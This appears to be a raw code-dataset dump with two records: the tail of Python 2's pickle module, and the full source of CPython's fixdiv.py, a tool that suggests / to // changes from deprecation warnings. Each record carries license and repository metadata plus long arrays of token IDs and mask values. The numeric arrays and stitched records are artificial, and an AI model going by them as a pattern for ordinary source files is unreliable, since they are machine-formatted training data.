njunkchars if newnibbles < nibbles: ashex = "0x" + "0" * (nibbles - newnibbles) + ashex[2:] if int(ashex[2], 16) < 8: # "looks positive", so need a byte of sign bits ashex = "0xff" + ashex[2:] if ashex.endswith('L'): ashex = ashex[2:-1] else: ashex = ashex[2:] assert len(ashex) & 1 == 0, (x, ashex) binary = _binascii.unhexlify(ashex) return binary[::-1] def decode_long(data): r"""Decode a long from a two's complement little-endian binary string. >>> decode_long('') 0L >>> decode_long("\xff\x00") 255L >>> decode_long("\xff\x7f") 32767L >>> decode_long("\x00\xff") -256L >>> decode_long("\x00\x80") -32768L >>> decode_long("\x80") -128L >>> decode_long("\x7f") 127L """ nbytes = len(data) if nbytes == 0: return 0L ashex = _binascii.hexlify(data[::-1]) n = long(ashex, 16) # quadratic time before Python 2.3; linear now if data[-1] >= '\x80': n -= 1L << (nbytes * 8) return n # Shorthands try: from cStringIO import StringIO except ImportError: from StringIO import StringIO def dump(obj, file, protocol=None, bin=None): Pickler(file, protocol, bin).dump(obj) def dumps(obj, protocol=None, bin=None): file = StringIO() Pickler(file, protocol, bin).dump(obj) return file.getvalue() def load(file): return Unpickler(file).load() def loads(str): file = StringIO(str) return Unpickler(file).load() # Doctest def _test(): import doctest return doctest.testmod() if __name__ == "__main__": _test()
gpl-2.0
[ 624, 2499, 1844, 461, 6380, 30580, 402, 2018, 2251, 14, 199, 199, 9295, 859, 17572, 367, 282, 334, 77, 2133, 9, 12930, 4514, 14, 199, 9295, 859, 1331, 63, 1135, 367, 282, 14729, 367, 2274, 316, 3537, 3732, 29099, 14, 199, 9295, 859, 5927, 2537, 1350, 367, 2178, 3398, 6786, 14, 199, 199, 15711, 26, 339, 16568, 1435, 272, 1910, 23468, 199, 199, 13967, 26, 339, 5461, 8, 785, 12, 570, 9, 272, 16864, 8, 785, 9, 1035, 1059, 272, 2248, 8, 493, 9, 1035, 909, 272, 14404, 8, 875, 9, 1035, 909, 199, 199, 29926, 2860, 26, 339, 636, 1023, 363, 272, 1475, 63, 1023, 272, 9025, 63, 6321, 199, 199, 624, 199, 199, 363, 1023, 363, 275, 7880, 12714, 26, 8780, 16253, 2672, 2, 755, 327, 5495, 1015, 199, 199, 504, 2943, 492, 627, 199, 504, 1331, 63, 1135, 492, 7634, 63, 1224, 199, 504, 1331, 63, 1135, 492, 485, 3435, 63, 5189, 12, 485, 28019, 63, 5189, 12, 485, 3435, 63, 1637, 199, 646, 21985, 199, 646, 984, 199, 646, 2702, 199, 646, 295, 199, 646, 3598, 199, 199, 363, 452, 363, 275, 2097, 12755, 547, 401, 298, 8587, 2983, 547, 401, 298, 1358, 24773, 547, 401, 298, 8587, 1435, 401, 1779, 298, 1358, 23468, 401, 298, 2724, 401, 298, 4180, 401, 298, 912, 401, 298, 3640, 937, 199, 199, 3, 5723, 787, 15111, 590, 2556, 279, 27, 949, 1233, 4440, 3520, 14, 199, 908, 63, 1023, 275, 298, 18, 14, 16, 2, 8295, 327, 3814, 1475, 1015, 781, 2218, 199, 6490, 63, 6321, 275, 2097, 17, 14, 16, 401, 3322, 327, 12769, 4113, 378, 1993, 298, 17, 14, 17, 401, 3322, 327, 11557, 378, 543, 20514, 3483, 1993, 298, 17, 14, 18, 401, 3322, 327, 12769, 4113, 413, 1993, 298, 17, 14, 19, 401, 3322, 327, 11557, 413, 543, 699, 11384, 10440, 3483, 1993, 298, 18, 14, 16, 401, 3322, 327, 11557, 499, 1993, 1622, 463, 327, 21238, 1475, 5459, 781, 883, 1586, 199, 199, 3, 14797, 315, 308, 5654, 543, 17572, 14, 221, 961, 365, 314, 15356, 4113, 1329, 781, 199, 3, 5715, 4212, 370, 1586, 14, 199, 31977, 63, 9583, 275, 499, 199, 199, 3, 6827, 675, 2702, 14, 1389, 342, 367, 24394, 1325, 21985, 14, 3640, 342, 367, 199, 3, 625, 24773, 31, 221, 2702, 14, 1389, 342, 365, 6335, 5, 12930, 2419, 21985, 14, 4180, 1062, 1325, 199, 3, 21985, 14, 3640, 342, 365, 13373, 465, 7377, 465, 2702, 14, 5301, 342, 1, 199, 77, 3640, 275, 21985, 14, 3640, 199, 199, 533, 31732, 547, 8, 1726, 304, 272, 408, 33, 2863, 1300, 1021, 367, 314, 1163, 24394, 4967, 1041, 272, 986, 199, 199, 533, 16568, 2983, 547, 8, 12755, 547, 304, 272, 408, 2765, 1919, 365, 4915, 1380, 376, 625, 4510, 76, 461, 909, 365, 3032, 370, 314, 272, 5461, 342, 1083, 14, 339, 408, 272, 986, 199, 199, 533, 1910, 24773, 547, 8, 12755, 547, 304, 272, 408, 2765, 1919, 365, 4915, 1380, 2337, 365, 282, 5160, 625, 24773, 376, 909, 12, 272, 4066, 465, 282, 6391, 1321, 10410, 14, 339, 3390, 626, 1163, 4967, 1443, 2597, 506, 4915, 5309, 625, 24773, 12, 5893, 272, 334, 7911, 440, 20513, 13988, 370, 9, 4281, 12, 21157, 12, 3545, 12, 272, 436, 7888, 14, 339, 408, 272, 986, 199, 199, 3, 1626, 1256, 402, 485, 6293, 365, 4915, 701, 1910, 23468, 14, 912, 63, 2379, 342, 315, 1177, 370, 199, 3, 314, 22348, 10508, 12, 9476, 314, 909, 626, 365, 314, 754, 402, 625, 24773, 14, 199, 533, 485, 6293, 8, 1726, 304, 272, 347, 636, 826, 721, 277, 12, 574, 304, 267, 291, 14, 585, 275, 574, 199, 199, 3, 25333, 965, 1611, 1558, 2956, 27, 652, 1159, 282, 1211, 5516, 543, 1059, 2883, 199, 893, 26, 272, 687, 5981, 14, 1548, 14, 1018, 492, 1611, 1558, 2956, 199, 2590, 3545, 26, 272, 1611, 1558, 2956, 275, 488, 199, 199, 3, 6140, 804, 1443, 503, 1443, 440, 506, 16629, 334, 4791, 1183, 8439, 687, 2943, 9, 199, 893, 26, 272, 6140, 804, 199, 2590, 12746, 26, 272, 6140, 804, 275, 488, 199, 199, 3, 31732, 27388, 14, 221, 1666, 5927, 2537, 14, 647, 367, 2178, 3398, 9149, 14, 221, 710, 13778, 199, 3, 2348, 365, 315, 4928, 13, 1618, 23331, 3294, 1865, 402, 413, 13, 10856, 5927, 1233, 14, 199, 3, 5927, 2537, 4652, 3062, 701, 12016, 14, 199, 199, 10520, 3322, 275, 16746, 257, 327, 6675, 4539, 2216, 785, 641, 3464, 199, 11632, 3322, 275, 7815, 257, 327, 4036, 5927, 11187, 543, 22348, 199, 13531, 3777, 275, 283, 16, 7, 257, 327, 16895, 2746, 2786, 3464, 1242, 199, 13531, 63, 10520, 263, 275, 283, 17, 7, 257, 327, 16895, 3464, 2746, 4012, 2746, 2786, 2216, 785, 199, 24099, 3777, 275, 283, 18, 7, 257, 327, 9250, 2746, 3464, 1242, 199, 11783, 3698, 275, 283, 38, 7, 257, 327, 6675, 2069, 909, 27, 6107, 1059, 1423, 199, 2919, 3777, 275, 283, 41, 7, 257, 327, 6675, 3000, 503, 2155, 27, 6107, 1059, 1423, 199, 9431, 2919, 3515, 275, 283, 42, 7, 257, 327, 6675, 11648, 13, 4414, 10514, 1109, 199, 9431, 2919, 17, 260, 275, 283, 43, 7, 257, 327, 6675, 413, 13, 4414, 7381, 1109, 199, 12375, 3322, 275, 283, 44, 7, 257, 327, 6675, 1846, 27, 6107, 1059, 1423, 199, 9431, 2919, 18, 260, 275, 283, 45, 7, 257, 327, 6675, 499, 13, 4414, 7381, 1109, 199, 9185, 3322, 275, 283, 46, 7, 257, 327, 6675, 488, 199, 48, 3960, 998, 3515, 275, 283, 48, 7, 257, 327, 6675, 16149, 909, 27, 1305, 365, 9394, 687, 1059, 1680, 199, 9431, 48, 3960, 998, 755, 275, 283, 49, 7, 257, 327, 221, 298, 755, 298, 260, 298, 221, 8700, 221, 298, 221, 298, 257, 298, 258, 298, 221, 3464, 199, 907, 4980, 2089, 3515, 275, 283, 50, 7, 257, 327, 4838, 4550, 370, 1680, 2960, 12, 3865, 641, 3464, 199, 5353, 3515, 275, 283, 51, 7, 257, 327, 6675, 1059, 27, 24719, 13, 18375, 1059, 1423, 199, 9431, 5353, 755, 275, 283, 52, 7, 257, 327, 6675, 1059, 27, 31662, 3366, 1059, 1423, 199, 13003, 63, 9431, 5353, 275, 283, 53, 7, 257, 327 ]
[ 2499, 1844, 461, 6380, 30580, 402, 2018, 2251, 14, 199, 199, 9295, 859, 17572, 367, 282, 334, 77, 2133, 9, 12930, 4514, 14, 199, 9295, 859, 1331, 63, 1135, 367, 282, 14729, 367, 2274, 316, 3537, 3732, 29099, 14, 199, 9295, 859, 5927, 2537, 1350, 367, 2178, 3398, 6786, 14, 199, 199, 15711, 26, 339, 16568, 1435, 272, 1910, 23468, 199, 199, 13967, 26, 339, 5461, 8, 785, 12, 570, 9, 272, 16864, 8, 785, 9, 1035, 1059, 272, 2248, 8, 493, 9, 1035, 909, 272, 14404, 8, 875, 9, 1035, 909, 199, 199, 29926, 2860, 26, 339, 636, 1023, 363, 272, 1475, 63, 1023, 272, 9025, 63, 6321, 199, 199, 624, 199, 199, 363, 1023, 363, 275, 7880, 12714, 26, 8780, 16253, 2672, 2, 755, 327, 5495, 1015, 199, 199, 504, 2943, 492, 627, 199, 504, 1331, 63, 1135, 492, 7634, 63, 1224, 199, 504, 1331, 63, 1135, 492, 485, 3435, 63, 5189, 12, 485, 28019, 63, 5189, 12, 485, 3435, 63, 1637, 199, 646, 21985, 199, 646, 984, 199, 646, 2702, 199, 646, 295, 199, 646, 3598, 199, 199, 363, 452, 363, 275, 2097, 12755, 547, 401, 298, 8587, 2983, 547, 401, 298, 1358, 24773, 547, 401, 298, 8587, 1435, 401, 1779, 298, 1358, 23468, 401, 298, 2724, 401, 298, 4180, 401, 298, 912, 401, 298, 3640, 937, 199, 199, 3, 5723, 787, 15111, 590, 2556, 279, 27, 949, 1233, 4440, 3520, 14, 199, 908, 63, 1023, 275, 298, 18, 14, 16, 2, 8295, 327, 3814, 1475, 1015, 781, 2218, 199, 6490, 63, 6321, 275, 2097, 17, 14, 16, 401, 3322, 327, 12769, 4113, 378, 1993, 298, 17, 14, 17, 401, 3322, 327, 11557, 378, 543, 20514, 3483, 1993, 298, 17, 14, 18, 401, 3322, 327, 12769, 4113, 413, 1993, 298, 17, 14, 19, 401, 3322, 327, 11557, 413, 543, 699, 11384, 10440, 3483, 1993, 298, 18, 14, 16, 401, 3322, 327, 11557, 499, 1993, 1622, 463, 327, 21238, 1475, 5459, 781, 883, 1586, 199, 199, 3, 14797, 315, 308, 5654, 543, 17572, 14, 221, 961, 365, 314, 15356, 4113, 1329, 781, 199, 3, 5715, 4212, 370, 1586, 14, 199, 31977, 63, 9583, 275, 499, 199, 199, 3, 6827, 675, 2702, 14, 1389, 342, 367, 24394, 1325, 21985, 14, 3640, 342, 367, 199, 3, 625, 24773, 31, 221, 2702, 14, 1389, 342, 365, 6335, 5, 12930, 2419, 21985, 14, 4180, 1062, 1325, 199, 3, 21985, 14, 3640, 342, 365, 13373, 465, 7377, 465, 2702, 14, 5301, 342, 1, 199, 77, 3640, 275, 21985, 14, 3640, 199, 199, 533, 31732, 547, 8, 1726, 304, 272, 408, 33, 2863, 1300, 1021, 367, 314, 1163, 24394, 4967, 1041, 272, 986, 199, 199, 533, 16568, 2983, 547, 8, 12755, 547, 304, 272, 408, 2765, 1919, 365, 4915, 1380, 376, 625, 4510, 76, 461, 909, 365, 3032, 370, 314, 272, 5461, 342, 1083, 14, 339, 408, 272, 986, 199, 199, 533, 1910, 24773, 547, 8, 12755, 547, 304, 272, 408, 2765, 1919, 365, 4915, 1380, 2337, 365, 282, 5160, 625, 24773, 376, 909, 12, 272, 4066, 465, 282, 6391, 1321, 10410, 14, 339, 3390, 626, 1163, 4967, 1443, 2597, 506, 4915, 5309, 625, 24773, 12, 5893, 272, 334, 7911, 440, 20513, 13988, 370, 9, 4281, 12, 21157, 12, 3545, 12, 272, 436, 7888, 14, 339, 408, 272, 986, 199, 199, 3, 1626, 1256, 402, 485, 6293, 365, 4915, 701, 1910, 23468, 14, 912, 63, 2379, 342, 315, 1177, 370, 199, 3, 314, 22348, 10508, 12, 9476, 314, 909, 626, 365, 314, 754, 402, 625, 24773, 14, 199, 533, 485, 6293, 8, 1726, 304, 272, 347, 636, 826, 721, 277, 12, 574, 304, 267, 291, 14, 585, 275, 574, 199, 199, 3, 25333, 965, 1611, 1558, 2956, 27, 652, 1159, 282, 1211, 5516, 543, 1059, 2883, 199, 893, 26, 272, 687, 5981, 14, 1548, 14, 1018, 492, 1611, 1558, 2956, 199, 2590, 3545, 26, 272, 1611, 1558, 2956, 275, 488, 199, 199, 3, 6140, 804, 1443, 503, 1443, 440, 506, 16629, 334, 4791, 1183, 8439, 687, 2943, 9, 199, 893, 26, 272, 6140, 804, 199, 2590, 12746, 26, 272, 6140, 804, 275, 488, 199, 199, 3, 31732, 27388, 14, 221, 1666, 5927, 2537, 14, 647, 367, 2178, 3398, 9149, 14, 221, 710, 13778, 199, 3, 2348, 365, 315, 4928, 13, 1618, 23331, 3294, 1865, 402, 413, 13, 10856, 5927, 1233, 14, 199, 3, 5927, 2537, 4652, 3062, 701, 12016, 14, 199, 199, 10520, 3322, 275, 16746, 257, 327, 6675, 4539, 2216, 785, 641, 3464, 199, 11632, 3322, 275, 7815, 257, 327, 4036, 5927, 11187, 543, 22348, 199, 13531, 3777, 275, 283, 16, 7, 257, 327, 16895, 2746, 2786, 3464, 1242, 199, 13531, 63, 10520, 263, 275, 283, 17, 7, 257, 327, 16895, 3464, 2746, 4012, 2746, 2786, 2216, 785, 199, 24099, 3777, 275, 283, 18, 7, 257, 327, 9250, 2746, 3464, 1242, 199, 11783, 3698, 275, 283, 38, 7, 257, 327, 6675, 2069, 909, 27, 6107, 1059, 1423, 199, 2919, 3777, 275, 283, 41, 7, 257, 327, 6675, 3000, 503, 2155, 27, 6107, 1059, 1423, 199, 9431, 2919, 3515, 275, 283, 42, 7, 257, 327, 6675, 11648, 13, 4414, 10514, 1109, 199, 9431, 2919, 17, 260, 275, 283, 43, 7, 257, 327, 6675, 413, 13, 4414, 7381, 1109, 199, 12375, 3322, 275, 283, 44, 7, 257, 327, 6675, 1846, 27, 6107, 1059, 1423, 199, 9431, 2919, 18, 260, 275, 283, 45, 7, 257, 327, 6675, 499, 13, 4414, 7381, 1109, 199, 9185, 3322, 275, 283, 46, 7, 257, 327, 6675, 488, 199, 48, 3960, 998, 3515, 275, 283, 48, 7, 257, 327, 6675, 16149, 909, 27, 1305, 365, 9394, 687, 1059, 1680, 199, 9431, 48, 3960, 998, 755, 275, 283, 49, 7, 257, 327, 221, 298, 755, 298, 260, 298, 221, 8700, 221, 298, 221, 298, 257, 298, 258, 298, 221, 3464, 199, 907, 4980, 2089, 3515, 275, 283, 50, 7, 257, 327, 4838, 4550, 370, 1680, 2960, 12, 3865, 641, 3464, 199, 5353, 3515, 275, 283, 51, 7, 257, 327, 6675, 1059, 27, 24719, 13, 18375, 1059, 1423, 199, 9431, 5353, 755, 275, 283, 52, 7, 257, 327, 6675, 1059, 27, 31662, 3366, 1059, 1423, 199, 13003, 63, 9431, 5353, 275, 283, 53, 7, 257, 327, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kytvi2p/Sigil
3rdparty/python/Tools/scripts/fixdiv.py
94
13938
#! /usr/bin/env python3 """fixdiv - tool to fix division operators. To use this tool, first run `python -Qwarnall yourscript.py 2>warnings'. This runs the script `yourscript.py' while writing warning messages about all uses of the classic division operator to the file `warnings'. The warnings look like this: <file>:<line>: DeprecationWarning: classic <type> division The warnings are written to stderr, so you must use `2>' for the I/O redirect. I know of no way to redirect stderr on Windows in a DOS box, so you will have to modify the script to set sys.stderr to some kind of log file if you want to do this on Windows. The warnings are not limited to the script; modules imported by the script may also trigger warnings. In fact a useful technique is to write a test script specifically intended to exercise all code in a particular module or set of modules. Then run `python fixdiv.py warnings'. This first reads the warnings, looking for classic division warnings, and sorts them by file name and line number. Then, for each file that received at least one warning, it parses the file and tries to match the warnings up to the division operators found in the source code. If it is successful, it writes its findings to stdout, preceded by a line of dashes and a line of the form: Index: <file> If the only findings found are suggestions to change a / operator into a // operator, the output is acceptable input for the Unix 'patch' program. Here are the possible messages on stdout (N stands for a line number): - A plain-diff-style change ('NcN', a line marked by '<', a line containing '---', and a line marked by '>'): A / operator was found that should be changed to //. This is the recommendation when only int and/or long arguments were seen. - 'True division / operator at line N' and a line marked by '=': A / operator was found that can remain unchanged. This is the recommendation when only float and/or complex arguments were seen. - 'Ambiguous / operator (..., ...) at line N', line marked by '?': A / operator was found for which int or long as well as float or complex arguments were seen. This is highly unlikely; if it occurs, you may have to restructure the code to keep the classic semantics, or maybe you don't care about the classic semantics. - 'No conclusive evidence on line N', line marked by '*': A / operator was found for which no warnings were seen. This could be code that was never executed, or code that was only executed with user-defined objects as arguments. You will have to investigate further. Note that // can be overloaded separately from /, using __floordiv__. True division can also be separately overloaded, using __truediv__. Classic division should be the same as either of those. (XXX should I add a warning for division on user-defined objects, to disambiguate this case from code that was never executed?) - 'Phantom ... warnings for line N', line marked by '*': A warning was seen for a line not containing a / operator. The most likely cause is a warning about code executed by 'exec' or eval() (see note below), or an indirect invocation of the / operator, for example via the div() function in the operator module. It could also be caused by a change to the file between the time the test script was run to collect warnings and the time fixdiv was run. - 'More than one / operator in line N'; or 'More than one / operator per statement in lines N-N': The scanner found more than one / operator on a single line, or in a statement split across multiple lines. Because the warnings framework doesn't (and can't) show the offset within the line, and the code generator doesn't always give the correct line number for operations in a multi-line statement, we can't be sure whether all operators in the statement were executed. To be on the safe side, by default a warning is issued about this case. In practice, these cases are usually safe, and the -m option suppresses these warning. - 'Can't find the / operator in line N', line marked by '*': This really shouldn't happen. It means that the tokenize module reported a '/' operator but the line it returns didn't contain a '/' character at the indicated position. - 'Bad warning for line N: XYZ', line marked by '*': This really shouldn't happen. It means that a 'classic XYZ division' warning was read with XYZ being something other than 'int', 'long', 'float', or 'complex'. Notes: - The augmented assignment operator /= is handled the same way as the / operator. - This tool never looks at the // operator; no warnings are ever generated for use of this operator. - This tool never looks at the / operator when a future division statement is in effect; no warnings are generated in this case, and because the tool only looks at files for which at least one classic division warning was seen, it will never look at files containing a future division statement. - Warnings may be issued for code not read from a file, but executed using the exec() or eval() functions. These may have <string> in the filename position, in which case the fixdiv script will attempt and fail to open a file named '<string>' and issue a warning about this failure; or these may be reported as 'Phantom' warnings (see above). You're on your own to deal with these. You could make all recommended changes and add a future division statement to all affected files, and then re-run the test script; it should not issue any warnings. If there are any, and you have a hard time tracking down where they are generated, you can use the -Werror option to force an error instead of a first warning, generating a traceback. - The tool should be run from the same directory as that from which the original script was run, otherwise it won't be able to open files given by relative pathnames. """ import sys import getopt import re import tokenize multi_ok = 0 def main(): try: opts, args = getopt.getopt(sys.argv[1:], "hm") except getopt.error as msg: usage(msg) return 2 for o, a in opts: if o == "-h": print(__doc__) return if o == "-m": global multi_ok multi_ok = 1 if not args: usage("at least one file argument is required") return 2 if args[1:]: sys.stderr.write("%s: extra file arguments ignored\n", sys.argv[0]) warnings = readwarnings(args[0]) if warnings is None: return 1 files = list(warnings.keys()) if not files: print("No classic division warnings read from", args[0]) return files.sort() exit = None for filename in files: x = process(filename, warnings[filename]) exit = exit or x return exit def usage(msg): sys.stderr.write("%s: %s\n" % (sys.argv[0], msg)) sys.stderr.write("Usage: %s [-m] warnings\n" % sys.argv[0]) sys.stderr.write("Try `%s -h' for more information.\n" % sys.argv[0]) PATTERN = ("^(.+?):(\d+): DeprecationWarning: " "classic (int|long|float|complex) division$") def readwarnings(warningsfile): prog = re.compile(PATTERN) try: f = open(warningsfile) except IOError as msg: sys.stderr.write("can't open: %s\n" % msg) return warnings = {} while 1: line = f.readline() if not line: break m = prog.match(line) if not m: if line.find("division") >= 0: sys.stderr.write("Warning: ignored input " + line) continue filename, lineno, what = m.groups() list = warnings.get(filename) if list is None: warnings[filename] = list = [] list.append((int(lineno), sys.intern(what))) f.close() return warnings def process(filename, list): print("-"*70) assert list # if this fails, readwarnings() is broken try: fp = open(filename) except IOError as msg: sys.stderr.write("can't open: %s\n" % msg) return 1 print("Index:", filename) f = FileContext(fp) list.sort() index = 0 # list[:index] has been processed, list[index:] is still to do g = tokenize.generate_tokens(f.readline) while 1: startlineno, endlineno, slashes = lineinfo = scanline(g) if startlineno is None: break assert startlineno <= endlineno is not None orphans = [] while index < len(list) and list[index][0] < startlineno: orphans.append(list[index]) index += 1 if orphans: reportphantomwarnings(orphans, f) warnings = [] while index < len(list) and list[index][0] <= endlineno: warnings.append(list[index]) index += 1 if not slashes and not warnings: pass elif slashes and not warnings: report(slashes, "No conclusive evidence") elif warnings and not slashes: reportphantomwarnings(warnings, f) else: if len(slashes) > 1: if not multi_ok: rows = [] lastrow = None for (row, col), line in slashes: if row == lastrow: continue rows.append(row) lastrow = row assert rows if len(rows) == 1: print("*** More than one / operator in line", rows[0]) else: print("*** More than one / operator per statement", end=' ') print("in lines %d-%d" % (rows[0], rows[-1])) intlong = [] floatcomplex = [] bad = [] for lineno, what in warnings: if what in ("int", "long"): intlong.append(what) elif what in ("float", "complex"): floatcomplex.append(what) else: bad.append(what) lastrow = None for (row, col), line in slashes: if row == lastrow: continue lastrow = row line = chop(line) if line[col:col+1] != "/": print("*** Can't find the / operator in line %d:" % row) print("*", line) continue if bad: print("*** Bad warning for line %d:" % row, bad) print("*", line) elif intlong and not floatcomplex: print("%dc%d" % (row, row)) print("<", line) print("---") print(">", line[:col] + "/" + line[col:]) elif floatcomplex and not intlong: print("True division / operator at line %d:" % row) print("=", line) elif intlong and floatcomplex: print("*** Ambiguous / operator (%s, %s) at line %d:" % ( "|".join(intlong), "|".join(floatcomplex), row)) print("?", line) fp.close() def reportphantomwarnings(warnings, f): blocks = [] lastrow = None lastblock = None for row, what in warnings: if row != lastrow: lastblock = [row] blocks.append(lastblock) lastblock.append(what) for block in blocks: row = block[0] whats = "/".join(block[1:]) print("*** Phantom %s warnings for line %d:" % (whats, row)) f.report(row, mark="*") def report(slashes, message): lastrow = None for (row, col), line in slashes: if row != lastrow: print("*** %s on line %d:" % (message, row)) print("*", chop(line)) lastrow = row class FileContext: def __init__(self, fp, window=5, lineno=1): self.fp = fp self.window = 5 self.lineno = 1 self.eoflookahead = 0 self.lookahead = [] self.buffer = [] def fill(self): while len(self.lookahead) < self.window and not self.eoflookahead: line = self.fp.readline() if not line: self.eoflookahead = 1 break self.lookahead.append(line) def readline(self): self.fill() if not self.lookahead: return "" line = self.lookahead.pop(0) self.buffer.append(line) self.lineno += 1 return line def truncate(self): del self.buffer[-window:] def __getitem__(self, index): self.fill() bufstart = self.lineno - len(self.buffer) lookend = self.lineno + len(self.lookahead) if bufstart <= index < self.lineno: return self.buffer[index - bufstart] if self.lineno <= index < lookend: return self.lookahead[index - self.lineno] raise KeyError def report(self, first, last=None, mark="*"): if last is None: last = first for i in range(first, last+1): try: line = self[first] except KeyError: line = "<missing line>" print(mark, chop(line)) def scanline(g): slashes = [] startlineno = None endlineno = None for type, token, start, end, line in g: endlineno = end[0] if startlineno is None: startlineno = endlineno if token in ("/", "/="): slashes.append((start, line)) if type == tokenize.NEWLINE: break return startlineno, endlineno, slashes def chop(line): if line.endswith("\n"): return line[:-1] else: return line if __name__ == "__main__": sys.exit(main())
gpl-3.0
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 624, 970, 3015, 446, 4744, 370, 5325, 4629, 10211, 14, 199, 199, 1378, 675, 642, 4744, 12, 1642, 1255, 658, 1548, 446, 49, 4050, 452, 2195, 1579, 14, 647, 499, 30, 5451, 1370, 199, 2765, 7858, 314, 2884, 658, 12695, 1579, 14, 647, 7, 1830, 3575, 5721, 3788, 199, 10254, 1006, 4440, 402, 314, 31205, 4629, 4182, 370, 314, 570, 199, 64, 5451, 1370, 221, 710, 3598, 3648, 2839, 642, 26, 819, 665, 493, 30, 16875, 604, 20020, 13413, 26, 31205, 665, 466, 30, 4629, 199, 199, 1918, 3598, 787, 5313, 370, 4635, 12, 880, 1265, 1471, 675, 658, 18, 3524, 367, 314, 473, 15, 47, 199, 4876, 14, 221, 473, 5715, 402, 949, 4340, 370, 4660, 4635, 641, 5417, 315, 282, 577, 3100, 199, 1977, 12, 880, 1265, 911, 1172, 370, 2811, 314, 2884, 370, 663, 984, 14, 3083, 370, 2005, 199, 5091, 402, 943, 570, 340, 1265, 2934, 370, 886, 642, 641, 5417, 14, 199, 199, 1918, 3598, 787, 440, 13988, 370, 314, 2884, 27, 4621, 8439, 701, 314, 199, 1579, 1443, 2597, 6804, 3598, 14, 221, 1010, 10572, 282, 2997, 32414, 365, 370, 199, 952, 282, 511, 2884, 22543, 11619, 370, 26511, 1006, 1233, 315, 282, 199, 462, 6628, 859, 503, 663, 402, 4621, 14, 199, 199, 28226, 1255, 658, 1548, 5325, 3015, 14, 647, 3598, 1370, 221, 961, 1642, 11597, 314, 3598, 12, 199, 11660, 316, 367, 31205, 4629, 3598, 12, 436, 30313, 3062, 701, 570, 536, 436, 199, 604, 1329, 14, 221, 9442, 12, 367, 1924, 570, 626, 3086, 737, 5210, 1373, 5721, 12, 199, 390, 19953, 314, 570, 436, 11275, 370, 1336, 314, 3598, 1536, 370, 314, 4629, 199, 12688, 1911, 315, 314, 1350, 1233, 14, 221, 982, 652, 365, 9512, 12, 652, 14511, 199, 1405, 2342, 780, 370, 3839, 12, 9222, 770, 701, 282, 1004, 402, 21106, 436, 282, 1004, 402, 314, 199, 964, 26, 819, 5499, 26, 665, 493, 30, 199, 199, 3917, 314, 1454, 2342, 780, 1911, 787, 18453, 15293, 370, 1570, 282, 1182, 4182, 1901, 199, 65, 5001, 4182, 12, 314, 1072, 365, 14712, 1324, 367, 314, 13074, 283, 2068, 7, 199, 6815, 14, 199, 199, 21741, 787, 314, 3962, 3788, 641, 3839, 334, 46, 410, 5915, 367, 282, 1004, 1329, 304, 199, 199, 13, 437, 8971, 13, 3028, 13, 2487, 1570, 661, 46, 67, 46, 297, 282, 1004, 11584, 701, 30243, 282, 1004, 523, 3035, 283, 2595, 297, 436, 282, 1004, 11584, 701, 12696, 735, 819, 437, 1182, 4182, 1990, 1911, 626, 1077, 506, 2896, 370, 5001, 14, 221, 961, 365, 314, 523, 295, 22105, 1380, 1454, 1109, 436, 15, 269, 1846, 2368, 4898, 6775, 14, 199, 199, 13, 283, 549, 4629, 1182, 4182, 737, 1004, 653, 7, 436, 282, 1004, 11584, 701, 283, 18749, 819, 437, 1182, 4182, 1990, 1911, 626, 883, 5706, 14874, 14, 221, 961, 365, 314, 523, 295, 22105, 1380, 1454, 2069, 436, 15, 269, 6114, 2368, 4898, 6775, 14, 199, 199, 13, 283, 29209, 20357, 1182, 4182, 334, 11577, 19172, 737, 1004, 653, 297, 1004, 11584, 701, 8720, 356, 819, 437, 1182, 4182, 1990, 1911, 367, 1314, 1109, 503, 1846, 465, 5521, 465, 2069, 503, 523, 6114, 2368, 4898, 6775, 14, 221, 961, 365, 4721, 590, 625, 24227, 27, 340, 652, 11058, 12, 523, 1265, 1443, 1172, 370, 295, 6976, 314, 1233, 370, 4215, 314, 31205, 19002, 12, 523, 503, 11703, 1265, 2793, 1133, 10296, 3595, 314, 31205, 19002, 14, 199, 199, 13, 283, 1944, 406, 6563, 24656, 5606, 641, 1004, 653, 297, 1004, 11584, 701, 22969, 819, 437, 1182, 4182, 1990, 1911, 367, 1314, 949, 3598, 4898, 6775, 14, 221, 961, 4293, 523, 506, 1233, 626, 1990, 7078, 7934, 12, 503, 1233, 626, 1990, 1454, 7934, 523, 543, 922, 13, 4037, 2251, 465, 2368, 14, 221, 2047, 911, 1172, 370, 523, 315, 27174, 323, 9848, 14, 221, 3390, 626, 5001, 883, 506, 1806, 4591, 18159, 687, 523, 